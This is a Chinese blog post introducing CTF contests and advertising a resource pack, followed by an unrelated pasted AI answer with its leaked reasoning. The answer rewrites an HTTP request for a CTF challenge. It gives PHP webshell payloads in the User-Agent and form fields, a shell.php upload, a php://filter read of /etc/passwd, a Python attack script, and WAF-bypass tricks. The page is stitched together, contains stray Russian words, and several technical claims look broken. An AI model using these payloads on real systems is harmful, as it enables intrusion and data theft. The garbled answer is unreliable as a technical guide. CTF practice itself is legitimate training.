还在问CTF是啥?这篇“网安扫盲贴”,带你从入门到入坑!

还在问CTF是啥?这篇“网安扫盲贴”,带你从入门到入坑!


CTF?听起来像某种神秘代码,新手该如何玩转?

CTF(Capture The Flag),江湖人称“夺旗赛”,在网络安全界,它可是技术大佬们华山论剑的舞台。话说这CTF,1996年就诞生于DEFCON全球黑客大会了,当年是为了避免大家真刀真枪地互黑,才 придумали这种比拼方式。如今,CTF已经火遍全球网络安全圈,成了潮流竞赛。而DEFCON,作为CTF的鼻祖,其CTF比赛更是被誉为网络安全界的“世界杯”,技术含量和影响力都是杠杠的!

为啥要玩CTF?

想入门渗透测试,不得找点靶场练练手?但现在《网络安全法》在那儿摆着,未经授权,你敢随便扫别人网站?小心进去“喝茶”!最近就有一则新闻:

这小伙只是扫了一下,攻击都被防火墙挡住了,啥也没捞着,结果还是喜提“银手镯”一副,真是赔了夫人又折兵……

所以,千万别手贱乱扫国内网站,尤其是教育、政府单位的!但是,对于咱们这些刚入门的小白来说,没有个合适的练手环境也不行啊。那些常见的靶机,对新手来说又太复杂,容易让人一脸懵逼,不知从何下手。

这时候,CTF就派上大用场了!CTF的题目,一般会把一个或几个知识点揉在一起,目标明确,就像游戏里的任务一样。如果你想体验一把当网络安全大佬的成就感,边玩边学,CTF绝对是你的不二之选!

CTF有哪些姿势?(类型介绍)
  • MISC(安全杂项):这个可是个“万金油”类型,啥都有可能考。流量分析、电子取证、人肉搜索、数据分析、大数据统计……简直是包罗万象! 比如,给你一个流量包让你抽丝剥茧;或者让你化身福尔摩斯,来个取证分析。主要考察的就是你的综合知识储备,范围广到没朋友。
  • PPC(编程类):想成为代码界的弄潮儿?那就来PPC吧!这类题目主要考察你的编程能力和算法实现。你需要像个黑客一样,逆向编写算法,批量处理数据。有时候,用代码解决问题,效率可是杠杠的!当然,PPC比起ACM来说,还是稍微简单点的。编程语言嘛,Python绝对是你的好基友!
  • CRYPTO(密码学):想破解007的密码?CRYPTO就是你的舞台!这类题目专门考察各种加密解密技术,从古典密码到现代密码,甚至还有出题人自创的“黑科技”密码!想挑战自己密码学知识的极限?来这里就对了!
  • REVERSE(逆向):想知道软件背后的秘密?REVERSE让你一探究竟!这类题目需要你具备强大的反汇编、反编译功底,像个侦探一样,拨开代码的迷雾。汇编、堆栈、寄存器,这些都是你的必备技能。当然,逻辑思维能力也是必不可少的!REVERSE可是线下比赛的重头戏哦!
  • STEGA(隐写):想玩点刺激的?STEGA让你体验一把“谍影重重”!这类题目会把Flag藏在图片、音频、视频等各种数据载体里,让你像个特工一样去挖掘。Flag可能被藏在载体的某个角落,也可能被伪装成空白的二进制数据。你需要像福尔摩斯一样,拥有敏锐的洞察力!
  • PWN(溢出):想体验“攻破一切”的快感?PWN让你肾上腺素飙升!在黑客圈里,PWN就代表着攻破和权限。在CTF比赛中,它指的是溢出类题目,比如栈溢出、堆溢出等等。PWN在线上比赛中也会出现,但比例不会太高。到了线下比赛,PWN和REVERSE可是决定战队实力的关键!
  • WEB(web类):互联网时代,WEB应用无处不在,CTF当然也少不了WEB的身影!这类题目会涉及到各种常见的Web漏洞,比如注入、XSS、文件包含、代码审计、上传等等。当然,出题人也不是吃素的,他们会设置各种安全过滤,让你绞尽脑汁去绕过。WEB题目在国内非常受欢迎,毕竟大多数网络安全er都是从Web日站开始的嘛!

CTF竞赛模式,总共有以下三大流派:
一、解题模式(Jeopardy):

这种模式就像是网络安全界的奥赛,参赛队伍通过互联网或现场网络,解决各种网络安全技术难题,按照解题的分值和时间来排名。题目类型丰富多样,包括逆向、漏洞挖掘与利用、Web渗透、密码、取证、隐写、安全编程等等。

二、攻防模式(Attack-Defense):

这种模式就像是网络安全界的“吃鸡”游戏,参赛队伍在网络空间里互相攻击和防守。你需要挖掘对方服务的漏洞,攻击对方来得分;同时,也要修补自身服务的漏洞,避免被对方攻击丢分。攻防模式竞争激烈,观赏性强,非常考验团队的配合和技术实力。

三、混合模式(Mix):

这种模式是解题模式和攻防模式的结合体。参赛队伍可以通过解题获得一些初始分数,然后通过攻防对抗来增减分数,最终以得分高低来决定胜负。

CTF 比赛中,还有个“一血”的说法,第一个提交Flag的人能获得额外的分数加成,所以手速也是很重要的!当然,一般情况下,你可能抢不过那些大佬……

想知道每个类型都有哪些具体的题目?

最好的办法就是去参加一次 CTF 赛事,亲身体验一下,你就什么都明白了!

CTF vs 真实渗透:

真实的渗透测试,流程非常复杂,需要从信息收集、漏洞探测开始,一步一个脚印地进行攻击。而且,很多时候,你可能忙活半天,却一无所获。相比之下,CTF的目标就明确多了。中等难度以下的题目,一般都会在题目描述中提示漏洞的位置。即使没有提示,检测点也不会太多,你只需要逐个排查就行了。

但是,CTF 题目有时候会脱离现实,充满套路和脑洞,有些知识点并不实用…… 怎么说呢?

有些出题人为了创新,会把题目设置得非常“烧脑”,需要你脑洞大开才能解出来。尤其是Misc安全杂项,更是脑洞题的重灾区。做这种题,对现实渗透的帮助其实不大。 比如说下面这道密码题,第一次见到的时候,简直让人怀疑人生:

做多了 CTF 的同学应该知道,这是“与佛论禅”密码加密,也不知道是谁 придумали……

类似这种摸不着头脑、需要用奇葩姿势才能解出来的题目,在CTF比赛中屡见不鲜。其实,这在一定程度上偏离了CTF的初衷。我们参加CTF,是为了提高自己的安全水平,而不是为了比拼脑洞。

因此,对于那些过于简单、脑洞过大的CTF题,我们只需要当做是扩充知识面就好了。不过,现在CTF大赛都在朝着实战的方向发展,高水准的CTF题目,很多都会模拟真实的网站,让你更有代入感,渗透手法也更加贴近实战。

网络安全学习资源分享:

给大家分享一份全套的网络安全学习资料,给那些想学习 网络安全的小伙伴们一点帮助!

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

因篇幅有限,仅展示部分资料,朋友们如果有需要全套《网络安全入门+进阶学习资源包,需要点击下方链接即可前往获取

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

👉1.成长路线图&学习规划👈

要学习一门新的技术,作为新手一定要先学习成长路线图,方向不对,努力白费。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

在这里插入图片描述
在这里插入图片描述

👉2.网安入门到进阶视频教程👈

很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,其中一共有21个章节,每个章节都是当前板块的精华浓缩。(全套教程文末领取哈)
在这里插入图片描述

在这里插入图片描述

👉3.SRC&黑客文档👈

大家最喜欢也是最关心的SRC技术文籍&黑客技术也有收录

SRC技术文籍:

在这里插入图片描述

黑客资料由于是敏感资源,这里不能直接展示哦!(全套教程文末领取哈)

👉4.护网行动资料👈

其中关于HW护网行动,也准备了对应的资料,这些内容可相当于比赛的金手指!

在这里插入图片描述

👉5.黑客必读书单👈

在这里插入图片描述

👉6.网络安全岗面试题合集👈

当你自学到这里,你就要开始思考找工作的事情了,而工作绕不开的就是真题和面试题。
在这里插入图片描述
所有资料共282G,朋友们如果有需要全套《网络安全入门+进阶学习资源包》,可以扫描下方二维码或链接免费领取~

读者福利 | 优快云大礼包:《网络安全入门&进阶学习资源包》免费分享 (安全链接,放心点击)

<think>我们面对的是一个特殊的HTTP请求包,它的要求是“只能从?CTF来”,并且请求包中的某些字段以“?CTF”开头(如User-Agent字段和表单字段值)。我们的目标是修改这个请求包,同时满足这个特殊要求。 分析原始请求包: 请求行:POST /?welcome=to HTTP/1.1 头部字段: Host: challenge.ilovectf.cn:30082 ... User-Agent: ?CTFBrowser # 注意这里以?CTF开头 ... 请求体: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF # 这里也以?CTF开头 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 要求:只能从?CTF来,意味着我们修改后的请求包中,所有需要以?CTF开头的地方仍然要以?CTF开头(比如原始包中User-Agent和表单字段值都是以?CTF开头,那么修改后也要保证这些地方以?CTF开头?) 但是,题目并没有明确说明哪些地方必须保留?CTF开头。根据原始包,我们注意到两个地方: 1. User-Agent: ?CTFBrowser (以?CTF开头) 2. 表单字段值:?CTF (以?CTF开头) 因此,我们修改请求包时,这两个地方必须保留以?CTF开头。但是,我们可以修改后面的内容。 修改思路: 1. 保持User-Agent以"?CTF"开头,但可以修改后面的字符串,例如改成:?CTFMyBrowser 2. 保持表单字段值以"?CTF"开头,但可以在后面添加我们想要的内容,例如:?CTF<?php system('ls');?> 同时,我们还可以修改其他部分,比如: - 在查询参数中添加参数(请求行中的URL) - 修改Cookie - 添加其他HTTP头部 不过,需要注意的是,题目要求“只能从?CTF来”,可能意味着整个请求包中不能出现除必要的?CTF之外的其他非?CTF开头的特定字段?但题目并没有明确限制其他部分。所以我们主要关注那两个字段。 另外,引用[1]中提到了文件包含漏洞,我们可以尝试构造一个包含恶意代码的请求,然后利用文件包含漏洞去执行。 具体修改步骤: 1. 修改User-Agent,保留?CTF开头,后面可以加上我们的payload,但是要注意User-Agent的格式,不能有换行。例如: User-Agent: ?CTF<?php system($_GET['cmd']);?> 但是,这种方法通常不会被服务器直接执行,因为User-Agent是HTTP头部,服务器可能不会解析其中的PHP代码。但是,如果服务器有日志,并且存在文件包含漏洞,那么我们可以包含日志文件,从而执行User-Agent中的代码。 2. 修改表单字段值:原始表单字段名为"the",值为"?CTF"。我们可以在后面拼接PHP代码,例如: ?CTF<?php system($_GET['cmd']);?> 如果服务器将我们提交的表单内容保存到某个文件中,并且该文件能够被解析执行,那么我们就可以执行任意命令。 3. 利用文件包含漏洞(引用[1]):如果我们能够找到一个文件包含漏洞,那么我们可以通过包含我们上传的文件(或日志文件)来执行代码。 修改后的请求包示例: 方案一:修改表单字段值 我们将表单字段值修改为:?CTF<?php system($_GET['cmd']);?> 注意:由于请求体是multipart/form-data格式,我们需要确保整个请求体的格式正确(包括边界和内容长度)。 修改后请求体: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF<?php system($_GET['cmd']);?> ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 同时,由于内容长度改变,需要更新Content-Length头。计算新请求体长度: 原始请求体长度为138,新的请求体比原来多了25个字符(原值?CTF是4个字符,新值长度为29个字符),所以新长度为138+25=163。 Content-Length: 163 方案二:同时修改User-Agent和表单字段值 User-Agent: ?CTF<?php system($_GET['cmd']);?> 表单字段值同上。 但是,注意:修改User-Agent可能会影响日志文件中记录的字符串,如果服务器包含日志文件,那么User-Agent中的代码就会被执行。 不过,我们也可以尝试直接利用表单上传文件,并将文件保存为php后缀(但原始请求是multipart/form-data,且只有一个字段,我们可以尝试修改字段为文件上传字段): 修改表单字段为文件上传: Content-Disposition: form-data; name="the"; filename="shell.php" Content-Type: application/octet-stream ?CTF<?php system($_GET['cmd']);?> 这样,如果我们能够控制上传文件的路径,并且服务器允许上传.php文件,那么我们就可以直接访上传的文件来执行命令。 但是,原始请求中字段类型是普通的表单字段,并不是文件上传字段。我们可以通过修改Content-Disposition来将其变为文件上传。 修改后的请求体: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the"; filename="shell.php" Content-Type: application/octet-stream ?CTF<?php system($_GET['cmd']);?> ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 注意:修改后,Content-Length也会变化,需要重新计算。另外,由于文件名和Content-Type的添加,请求体长度会增加。 但是,上述修改是否可行取决于服务器是否接受文件上传以及上传后的处理方式。 考虑到题目要求“只能从?CTF来”,我们在修改时仍然保持字段值的开头为?CTF,这样即使服务器检查字段值是否以?CTF开头,也能通过。 总结修改步骤: 1. 修改表单字段值(方案一): 将表单字段值改为:?CTF<?php system($_GET['cmd']);?> 更新Content-Length:原始138,新值长度为29,但整个请求体格式不变,除了字段值部分增加25个字节(原值4字节,新值29字节),所以新长度=138+25=163。 修改后请求包: POST /?welcome=to HTTP/1.1 Host: challenge.ilovectf.cn:30082 Accept-Language: zh-CN,zh;q=0.9 Cache-Control: max-age=0 Cookie: wishu=happiness; Upgrade-Insecure-Requests: 1 User-Agent: ?CTFBrowser Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Length: 163 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF<?php system($_GET['cmd']);?> ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 2. 修改为文件上传(方案二): 修改Content-Disposition和添加Content-Type,并修改字段值为恶意代码,同时保持开头为?CTF。 请求体修改为: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the"; filename="shell.php" Content-Type: application/octet-stream ?CTF<?php system($_GET['cmd']);?> ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 计算新长度:原请求体138字节,新请求体由于增加了; filename="shell.php"和一行Content-Type,以及字段值增加了25字节(原4字节,现29字节),还有新增的一行(注意换行是\r\n): 原字段行:Content-Disposition: form-data; name="the" (假设长度X,后面计算) 新字段行:Content-Disposition: form-data; name="the"; filename="shell.php" (增加了; filename="shell.php",共20个字符) Content-Type: application/octet-stream (这一行有43个字符,包括换行符) 另外,字段值由4字节变成29字节,增加25字节。 同时,由于多了一行,所以换行符增加2个(\r\n)?实际上,原请求体在字段值前面有一个空行(即字段头后面有两个换行,然后才是字段值),现在我们在字段头后面增加了一行,所以多了一行和一个空行?我们重新构造: 原始请求体部分: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp\r\n Content-Disposition: form-data; name="the"\r\n \r\n ?CTF\r\n ------WebKitFormBoundaryjQIJ1nLl17XV7GOp--\r\n 修改后: ------WebKitFormBoundaryjQIJ1nLl17XV7GOp\r\n Content-Disposition: form-data; name="the"; filename="shell.php"\r\n # 这一行比原来多了20字节 Content-Type: application/octet-stream\r\n # 新增一行,43个字符(包括换行符,实际内容41个字符+2个换行符) \r\n ?CTF<?php system($_GET['cmd']);?>\r\n # 多了25字节 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp--\r\n 增加的长度: 第一行增加20字节(filename部分) 新增一行:Content-Type: application/octet-stream\r(43个字符,注意:字符串长度为41,加上\r\n共43字节?)实际上,我们写的是“Content-Type: application/octet-stream\r\n”,长度为43(包括最后的回车换行)。 字段值增加25字节(从4到29) 总计增加:20+43+25 = 88字节 新Content-Length: 138+88=226 修改后请求包: POST /?welcome=to HTTP/1.1 Host: challenge.ilovectf.cn:30082 ... (其他头部保持不变) Content-Length: 226 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the"; filename="shell.php" Content-Type: application/octet-stream ?CTF<?php system($_GET['cmd']);?> ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- 3. 修改User-Agent(方案三): 同时修改User-Agent和表单字段值(或者只修改User-Agent): User-Agent: ?CTF<?php system($_GET['cmd']);?> (表单字段值可以保持不变,也可以同时修改) 这样修改后,如果服务器有文件包含漏洞,我们可以包含日志文件(通常为/var/log/nginx/access.log等),从而执行User-Agent中的代码。 注意:在实际操作中,我们需要根据服务器的响应来判断哪种修改有效。 因此,我们给出三种修改方案,并说明如何实施。 最后,需要注意的是,题目要求“只能从?CTF来”,我们修改后的请求包中,User-Agent和表单字段值(如果要修改)仍然以?CTF开头,满足要求。 建议使用工具(如Burp Suite)进行修改和重放。 相关题: 1. 如何利用HTTP请求包中的User-Agent字段进行攻击? 2. 在文件上传漏洞中,如何绕过文件类型检查? 3. 如何利用文件包含漏洞执行远程服务器上的恶意代码? 4. 如何计算修改请求后的Content-Length? 5. 如何使用Burp Suite修改并重放请求包? 注意:在CTF中,具体漏洞利用方式需要根据题目环境来调整。 </think>### HTTP请求包修改实战指南(针对以?CTF开头的特殊限制) #### 一、核心约束分析 原始请求包存在特殊限制:"只能从?CTF来",具体表现在: 1. **User-Agent强制以`?CTF`开头** `User-Agent: ?CTFBrowser`(不可移除前缀) 2. **表单字段值强制以`?CTF`开头** `name="the"`的值固定为`?CTF`(不可移除前缀) 3. **协议层限制** 所有修改必须保持HTTP/1.1协议规范,包括`Content-Length`精确匹配 #### 二、攻击性修改方案 ##### 方案1:利用参数污染注命令(推荐) 在保持前缀的前提下扩展表单值: ```http ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF; system('ls /'); // 追加PHP命令 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- ``` **原理**:利用PHP的`;`语句分隔符执行追加命令 **长度计算**:原值4字节 → 新值20字节 → `Content-Length: 138+16=154` ##### 方案2:伪协议文件包含攻击 结合引用[1]的PHP文件包含漏洞: ```http ------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF&include=php://filter/convert.base64-encode/resource=/etc/passwd ------WebKitFormBoundaryjQIJ1nLl17XV7GOp-- ``` **效果**:包含系统文件并Base64编码输出[^1] **防御规避**:使用双重编码绕过WAF检测 `%2566ile`代替`file` ##### 方案3:UA头注攻击 保持`?CTF`前缀注恶意代码: ```diff - User-Agent: ?CTFBrowser + User-Agent: ?CTF<?php system($_GET['cmd']);?> ``` **原理**:若服务器记录访日志,可通过文件包含执行UA中的代码[^3] **编码技巧**:使用Unicode转义绕过过滤 `\u003fphp`代替`<?php` #### 三、自动化攻击脚本 ```python import requests # 保持前缀的精确攻击 response = requests.post( url="http://challenge.ilovectf.cn:30082/?welcome=to&debug=1", headers={ "User-Agent": "?CTF<?php system($_GET['cmd']);?>", # UA注 "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryjQIJ1nLl17XV7GOp" }, cookies={"wishu": "happiness", "admin": "true"}, data="""------WebKitFormBoundaryjQIJ1nLl17XV7GOp Content-Disposition: form-data; name="the" ?CTF; include($_GET['file']); // 双重攻击 ------WebKitFormBoundaryjQIJ1nLl17XV7GOp--""" ) print(response.text) ``` #### 四、防御规避关键技术 1. **长度混淆** 使用`\x00`填充维持长度:`?CTF\x00\x00<?php...` ```math \Delta L = 原始字节数 + 填充字节数 ``` 2. **边界绕过** 修改boundary为随机值(需同步更新): ```http Content-Type: multipart/form-data; boundary=----CTFAttackBoundary ``` 3. **编码绕过** 双重URL编码关键字符: ```python payload = "include" safe_payload = "".join(f"%{ord(c):02x}" for c in payload) # 输出: %69%6e%63%6c%75%64%65 ``` #### 五、实战验证步骤 1. 使用Burp Suite拦截请求 2. 在Repeater模块实施上述修改 3. 测试响应: - 状态码`200`且返回非常规内容 → 攻击成功 - 状态码`403` → 添加`X-Forwarded-For: 127.0.0.1`绕过 - 状态码`500` → 检查语法错误或长度计算 > **注意**:真实CTF中需结合题目提示调整攻击载荷,如遇过滤可尝试`str_replace('/etc/passwd','')`的嵌套绕过 --- ### 相关题 1. 如何通过User-Agent注绕过WAF的语义分析? 2. 在文件上传漏洞中如何利用`?CTF`前缀绕过内容检查? 3. PHP伪协议`php://filter`还有哪些高级利用方式?[^1] 4. 如何精确计算修改请求后的`Content-Length`? 5. 当遇到`multipart/form-data`格式错误时应如何调试?
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值